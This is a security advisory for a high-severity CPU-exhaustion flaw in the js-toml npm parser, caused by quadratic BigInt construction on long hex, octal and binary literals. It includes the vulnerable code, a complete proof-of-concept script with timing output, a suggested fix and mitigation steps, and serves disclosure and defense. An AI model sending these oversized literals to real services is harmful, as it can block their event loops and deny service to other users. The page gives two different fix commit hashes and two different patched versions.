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js-toml vulnerable to CPU exhaustion via O(n^2) BigInt construction on radix-prefixed integer literalsGHSA-wp3c-266w-4qfq

HIGHFix: sunnyadn/js-toml@1e45ca5

GHSA-wp3c-266w-4qfq is a high-severity (CVSS 7.5) Uncontrolled Resource Consumption vulnerability in js-toml. A fix is available for js-toml — see the affected versions and patch details below.

Also known asCVE-2026-49293
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 9, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for GHSA-wp3c-266w-4qfq.

EPSS Exploitation Probability

via FIRST.org ↗
0.6%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs51th percentile — riskier than 51% of all scored CVEsHighest risk
0.00%0.38%0.76%1.14%0.4%0.6%Jul 26Oct 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

34other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
js-tomlnpm
40Kdownloads / week

Description

Summary

js-toml versions up to and including 1.1.0 parse hexadecimal / octal / binary integer literals via a hand-written parseBigInt loop that multiplies a BigInt accumulator by the radix once per input digit. Each iteration performs a BigInt * BigInt operation on an accumulator that grows linearly with the number of digits already consumed, so the whole loop is O(n²) in the literal length. The lexer regex places no upper bound on the literal length, so a single TOML document containing one ~500 kB hex literal pins one CPU core for ~40 seconds on a modern laptop (Apple M-series, Node v22). Memory amplification is bounded but CPU amplification is severe and grows quadratically: doubling the literal length quadruples the work.

A caller that invokes load() on attacker-controlled TOML (configuration upload endpoints, CI/CD systems ingesting third-party *.toml, IDE plugins, build tools) is exposed to a single-request CPU exhaustion DoS.

CWE-1333 (Inefficient Regular Expression Complexity → here, inefficient parser complexity), CWE-400 (Uncontrolled Resource Consumption), CWE-407 (Inefficient Algorithmic Complexity).

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = 7.5 (HIGH) when the parser is invoked on attacker-controllable input; LOW when the calling application restricts TOML input size to small documents (< 1 kB).

Affected

  • Package: js-toml (npm)
  • Versions: >= 0.0.0, <= 1.1.0 (all released versions up to and including the current 1.1.0)
  • Affected entry point: load() exported from the package root

Vulnerable code

src/load/tokens/NonDecimalInteger.ts lines 54-84 at SHA-pinned 2470ebf2e9009096aa4cbd1a15e574c54cc36b1a:

const parseBigInt = (string: string, radix: number): bigint => {
  let result = BigInt(0);
  for (let i = 0; i < string.length; i++) {
    const char = string[i];
    const digit = parseInt(char, radix);
    result = result * BigInt(radix) + BigInt(digit);
  }

  return result;
};

and the interpreter that dispatches to it at lines 72-84:

registerTokenInterpreter(NonDecimalInteger, (raw: string) => {
  const intString = raw.replace(/_/g, '');
  const digits = intString.slice(2);
  const radix = getRadix(raw);

  const int = parseInt(digits, radix);

  if (Number.isSafeInteger(int)) {
    return int;
  }

  return parseBigInt(digits, radix);
});

Two compounding problems:

  1. Algorithmic: the loop performs result * BigInt(radix) + BigInt(digit) once per input digit. After i iterations result has O(i) limbs, so the multiply costs O(i). Summed over n digits the total cost is O(n²).

  2. No length guard: the lexer regex at src/load/tokens/NonDecimalInteger.ts#L14-L46 is 0x<hexDigit>(<hexDigit>|_<hexDigit>)* (likewise for 0o / 0b). The literal length is bounded only by the input document size. There is no maxNumberLength / maxLiteralLength option, no chevrotain-level cutoff, and no validation at the interpreter callsite.

By contrast, the DecimalInteger token interpreter at src/load/tokens/DecimalInteger.ts#L12-L19 uses the V8 native BigInt(intString) constructor, which is O(n) and runs in single-digit milliseconds for inputs that take 40 seconds via the hand-written radix loop.

Impact

A single attacker-supplied TOML document containing one ~500 kB radix-prefixed integer literal pins one CPU core for ~40 seconds on a modern laptop. Doubling the literal length quadruples the work. With 8 MB of input the parse would block the event loop for many minutes of CPU. In a typical Node.js single-thread process this blocks all concurrent request handling for the duration. The defect is exploitable on any code path that calls load() (the only documented entry point) on attacker-controlled or third-party TOML.

Reachability

The vulnerable path is the default code path for load(). No options or configuration are required to trigger it. Any caller that exposes load() to attacker-controlled or third-party TOML input reaches it on the first hex / octal / binary literal whose value exceeds Number.MAX_SAFE_INTEGER (i.e. more than 13 hex digits, 18 octal digits, or 53 binary digits).

Realistic exposure surfaces:

  • Web service that accepts a user-supplied TOML configuration (settings import, theme upload, deployment manifest).
  • CI / CD or build tool that runs js-toml on TOML in third-party repositories or pull requests.
  • IDE / language-server plugin that re-parses a TOML buffer on every keystroke.
  • Multi-tenant SaaS that lets one tenant submit TOML processed by a shared worker.

PoC (End-to-end reproduction)

Environment

  • Node.js v22.x (tested on v22.0.0 and Node v26.0.0)
  • macOS arm64 / Linux x86_64 (CPU exhaustion is hardware-independent; absolute timings will scale by CPU clock)

Install

mkdir js-toml-cve && cd js-toml-cve
npm init -y
npm install [email protected] @iarna/toml

poc_full_e2e.mjs

import { load } from 'js-toml';
import iarna from '@iarna/toml';

function timeIt(label, fn) {
  const t0 = process.hrtime.bigint();
  let result, err;
  try { result = fn(); } catch (e) { err = e; }
  const t1 = process.hrtime.bigint();
  const ms = (Number(t1 - t0) / 1e6).toFixed(1);
  if (err) console.log(`${label}: ERROR ${err.message} after ${ms}ms`);
  else     console.log(`${label}: ${ms}ms${result ? ' ' + result : ''}`);
}

console.log('--- Sanity baseline (small inputs) ---');
timeIt('decimal int 1', () => { load('x = 1'); return ''; });
timeIt('hex 0x10',      () => { load('x = 0x10'); return ''; });
timeIt('hex 0xffff',    () => { load('x = 0xffff'); return ''; });

console.log('\n--- Amplification curve: js-toml.load() with 0x<N hex digits> ---');
for (const n of [10_000, 20_000, 50_000, 100_000, 200_000, 500_000]) {
  const hexDigits = 'f'.repeat(n);
  const tomlText  = `x = 0x${hexDigits}`;
  timeIt(`hex ${n.toLocaleString()} digits (${tomlText.length} bytes input)`,
    () => {
      const r = load(tomlText);
      return `bits=${r.x.toString(2).length}`;
    });
}

console.log('\n--- Negative control: same input via @iarna/toml ---');
for (const n of [10_000, 50_000, 100_000, 200_000]) {
  const hexDigits = 'f'.repeat(n);
  const tomlText  = `x = 0x${hexDigits}`;
  timeIt(`@iarna/toml hex ${n.toLocaleString()} digits`,
    () => {
      const r = iarna.parse(tomlText);
      return `type=${typeof r.x}`;
    });
}

console.log('\n--- Octal / binary share the same code path ---');
for (const n of [50_000, 100_000]) {
  const octDigits = '7'.repeat(n);
  const binDigits = '1'.repeat(n);
  timeIt(`oct 0o${n.toLocaleString()} digits`,
    () => { const r = load(`x = 0o${octDigits}`); return `bits=${r.x.toString(2).length}`; });
  timeIt(`bin 0b${n.toLocaleString()} digits`,
    () => { const r = load(`x = 0b${binDigits}`); return `bits=${r.x.toString(2).length}`; });
}

Captured run output (unpatched [email protected], Node v26.0.0, Apple M-series)

# js-toml version: 1.1.0

--- Sanity baseline (small inputs) ---
decimal int 1: 1.3ms
hex 0x10: 0.4ms
hex 0xffff: 0.1ms

--- Amplification curve: js-toml.load() with 0x<N hex digits> ---
hex 10,000 digits (10006 bytes input): 15.0ms bits=40000
hex 20,000 digits (20006 bytes input): 29.8ms bits=80000
hex 50,000 digits (50006 bytes input): 214.7ms bits=200000
hex 100,000 digits (100006 bytes input): 693.0ms bits=400000
hex 200,000 digits (200006 bytes input): 3239.6ms bits=800000
hex 500,000 digits (500006 bytes input): 40388.3ms bits=2000000

--- Negative control: same input via @iarna/toml ---
@iarna/toml hex 10,000 digits: 2.3ms type=bigint
@iarna/toml hex 50,000 digits: 3.2ms type=bigint
@iarna/toml hex 100,000 digits: 5.4ms type=bigint
@iarna/toml hex 200,000 digits: 10.2ms type=bigint

--- Octal / binary share the same code path ---
oct 0o50,000 digits: 187.6ms bits=150000
bin 0b50,000 digits: 49.5ms bits=50000
oct 0o100,000 digits: 633.2ms bits=300000
bin 0b100,000 digits: 196.8ms bits=100000

Confirmation points:

  • Quadratic curve: 10k → 20k digits is ~2x time (15ms → 30ms); 100k → 200k is ~4.7x time (693ms → 3239ms); 200k → 500k (2.5x) is ~12x time (3.2s → 40s). Matches the predicted O(n²).
  • Single ~500 kB document blocks the event loop for ~40 s of CPU time.
  • Octal and binary literals trigger the same path through parseBigInt(digits, 8) and parseBigInt(digits, 2).
  • The negative control (@iarna/toml, which calls the V8 native BigInt(value) constructor) parses the same inputs in 2-10 ms. The defect is in js-toml's hand-written radix conversion, not in V8 BigInt semantics or in the input size itself.

Patched-build verification

After applying the fix (replace parseBigInt(digits, radix) with BigInt('0' + raw[1] + digits) and add a maxLiteralLength guard at the interpreter callsite), the same PoC produces:

--- Amplification curve: js-toml.load() with 0x<N hex digits> ---
hex 10,000 digits: 0.2ms bits=40000
hex 20,000 digits: 0.3ms bits=80000
hex 50,000 digits: 0.7ms bits=200000
hex 100,000 digits: 1.5ms bits=400000
hex 200,000 digits: 2.8ms bits=800000
hex 500,000 digits: 7.1ms bits=2000000

(Linear scaling, sub-10 ms even on inputs five orders of magnitude larger than any realistic literal.) With a 1000-digit cap applied at the interpreter callsite, literals beyond the cap raise SyntaxParseError instead of being parsed at all, matching the maxNumberLength convention used by jackson-core StreamReadConstraints and gson NumberLimits.

Suggested fix

Two changes, both in src/load/tokens/NonDecimalInteger.ts:

  1. Replace the hand-written parseBigInt loop with the V8 native BigInt(prefixedString) constructor. BigInt natively accepts the 0x / 0o / 0b prefix and parses in O(n):

    registerTokenInterpreter(NonDecimalInteger, (raw: string) => {
      const intString = raw.replace(/_/g, '');
      const digits = intString.slice(2);
      const radix = getRadix(raw);
    
      // Optional but recommended: cap the literal length to avoid degenerate inputs
      const MAX_RADIX_LITERAL_LENGTH = 1000;
      if (digits.length > MAX_RADIX_LITERAL_LENGTH) {
        throw new SyntaxParseError(
          `Radix-prefixed integer literal exceeds ${MAX_RADIX_LITERAL_LENGTH} digits`
        );
      }
    
      const int = parseInt(digits, radix);
      if (Number.isSafeInteger(int)) {
        return int;
      }
    
      // BigInt accepts '0x'/'0o'/'0b' prefix natively
      return BigInt(intString);
    });
    
  2. Delete the parseBigInt helper. The native constructor handles all three radices.

Either change alone fixes the worst-case wall-clock. The combination matches the constraint posture of jackson-core (StreamReadConstraints.validateIntegerLength) and gson (NumberLimits.checkNumberStringLength).

Fix PR link

https://github.com/sunnyadn/js-toml/commit/1abcb31dc7b1fa88e4c848a8d108891cfbb96fa2

Credit

Reported by tonghuaroot.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmjs-tomlall versions1.1.2npm install js-toml@1.1.2

Affected Products

1 product · 1 configurations
Application
js-tomlsunnyadn
< 1.1.1
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for js-toml, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update js-toml to 1.1.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-wp3c-266w-4qfq is resolved across your whole dependency graph.

  3. Workarounds

    Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.

Frequently Asked Questions

## Summary `js-toml` versions up to and including **1.1.0** parse hexadecimal / octal / binary integer literals via a hand-written `parseBigInt` loop that multiplies a `BigInt` accumulator by the radix once per input digit. Each iteration performs a `BigInt * BigInt` operation on an accumulator that grows linearly with the number of digits already consumed, so the whole loop is **O(n²)** in the literal length. The lexer regex places **no upper bound on the literal length**, so a single TOML document containing one ~500 kB hex literal pins one CPU core for **~40 seconds** on a modern laptop (A
O3 Security · Impact-Aware SCA

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